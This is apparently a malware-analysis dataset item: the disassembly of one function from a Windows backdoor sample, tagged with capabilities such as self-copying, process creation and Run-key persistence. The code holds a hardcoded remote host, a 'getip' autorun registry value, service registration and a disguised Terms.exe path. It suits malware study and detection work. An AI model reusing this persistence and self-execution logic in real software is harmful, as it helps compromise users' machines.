Function at 0x1000482a
Capabilities:
Copy file
Create process on windows
Persist via run registry key
Print debug messages
Query environment variable
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x328
push ebx
push esi
push edi
push 0x10009e70
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
mov edi, 0x375
push edi
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov esi, eax
lea eax, [ebp + 8]
push edi
push eax
push esi
call sub.MSVCRT.dll_memcpy
mov edi, dword [sym.imp.KERNEL32.dll_lstrcpyA]
add esp, 0x10
push esi
push str.htl5656556.e1.luyouxia.net
call edi
mov eax, dword [esi + 0x64]
mov dword [0x1000a730], eax
lea eax, [esi + 0x68]
push eax
push str.Cdefgh
call edi
lea eax, [esi + 0x9a]
push eax
push str.Cdefgh_Jklmnopq_Stuvwxya_Cdef
call edi
lea eax, [esi + 0xcc]
push eax
push 0x1000ad14
call edi
lea eax, [esi + 0x162]
push eax
push str.Default
call edi
lea eax, [esi + 0x182]
push eax
push 0x1000abcc
call edi
lea eax, [esi + 0x1a2]
mov ebx, str.C:Program_Files__x86_Google
push eax
push ebx
call edi
lea eax, [esi + 0x206]
push eax
push str.Terms.exe
call edi
mov eax, dword [esi + 0x238]
mov dword [0x1000abc8], eax
mov eax, dword [esi + 0x23c]
mov dword [0x1000b0fc], eax
mov eax, dword [esi + 0x240]
mov dword [0x1000a738], eax
lea eax, [esi + 0x244]
push eax
push 0x1000afd0
call edi
mov eax, dword [esi + 0x370]
push esi
mov dword [0x1000a734], eax
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
pop ecx
mov ecx, 0x1000abf0
call fcn.100055a6
and byte [ebp - 0x220], 0
push 0x40
pop ecx
xor eax, eax
lea edi, [ebp - 0x21f]
mov esi, 0x104
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x220]
push esi
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
mov ecx, dword [0x1000b100]
lea eax, [ebp - 0x220]
push eax
push ebx
call fcn.10005ac5
mov ecx, dword [0x1000b100]
push ebx
call fcn.10005a5e
cmp byte [eax + 0x1000adab], 0x5c
jne 0x10004983
mov ecx, dword [0x1000b100]
push ebx
call fcn.10005a5e
and byte [eax + 0x1000adab], 0
and byte [ebp - 0x328], 0
push 0x41
pop ecx
xor eax, eax
lea edi, [ebp - 0x327]
push esi
rep stosd dword es:[edi], eax
lea eax, [ebp - 0x328]
xor edi, edi
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
cmp dword [0x1000a734], 1
jne 0x100049fc
push str.1.exe
call fcn.10003e81
test eax, eax
pop ecx
jne 0x100049fc
push edi
push edi
call dword [sym.imp.MSVCRT.dll__getcwd]
pop ecx
test eax, eax
pop ecx
je 0x100049fc
mov esi, str.c:__1.exe
push edi
lea eax, [ebp - 0x328]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push 3
push esi
call dword [sym.imp.KERNEL32.dll_WinExec]
call fcn.100046e8
call fcn.10003f1a
pop edi
pop esi
xor eax, eax
pop ebx
leave
ret
mov eax, 0x1000afd0
mov ecx, eax
test ecx, ecx
je 0x10004a1b
push 1
push edi
push edi
push eax
push 0x10003bba
push edi
push edi
call fcn.10005b96
add esp, 0x1c
cmp dword [0x1000b0fc], 1
jne 0x10004aaa
lea eax, [ebp - 8]
push eax
push 0x20006
push edi
push str.SoftwareMicrosoftWindowsCurrentVersionRun
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x10004a98
and byte [ebp - 0x11c], al
push 0x40
pop ecx
lea edi, [ebp - 0x11b]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x11c]
push esi
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push eax
lea eax, [ebp - 0x11c]
push eax
push 1
push 0
push str.getip
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 8]
mov esi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test esi, esi
je 0x10004a98
call fcn.10002f9d
call fcn.10002f9d
push 0x10009e14
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
jmp 0x10004a98
cmp dword [0x1000abc8], 1
jne 0x10004b6e
mov dword [ebp - 0x10], edi
mov dword [ebp - 0xc], edi
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x1f4
mov dword [ebp - 0x18], str.Cdefgh
mov dword [ebp - 0x14], 0x10003607
call edi
mov esi, dword [sym.imp.ADVAPI32.dll_StartServiceCtrlDispatcherA]
lea eax, [ebp - 0x18]
push eax
call esi
push 0x3e8
call edi
lea eax, [ebp - 0x18]
push eax
call esi
and byte [ebp - 0x11c], 0
push 0x40
pop ecx
xor eax, eax
lea edi, [ebp - 0x11b]
and byte [ebp - 3], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push str.Terms.exe
lea eax, [ebp - 8]
push ebx
push eax
lea eax, [ebp - 0x11c]
mov byte [ebp - 8], 0x25
push eax
mov byte [ebp - 7], 0x73
mov byte [ebp - 6], 0x5c
mov byte [ebp - 5], 0x25
mov byte [ebp - 4], 0x73
call dword [sym.imp.MSVCRT.dll_sprintf]
mov esi, str.Cdefgh
push esi
call fcn.10002b1e
push 0x1000ad14
push str.Cdefgh_Jklmnopq_Stuvwxya_Cdef
lea eax, [ebp - 0x11c]
push esi
push eax
call fcn.10004b8d
add esp, 0x24
call fcn.10002f9d
push 0x10009e08
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
jmp 0x10004b5c
cmp dword [0x1000a738], 1
jne 0x100049f5
call fcn.10002f9d
push 0x10009dfc
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
jmp 0x10004b7b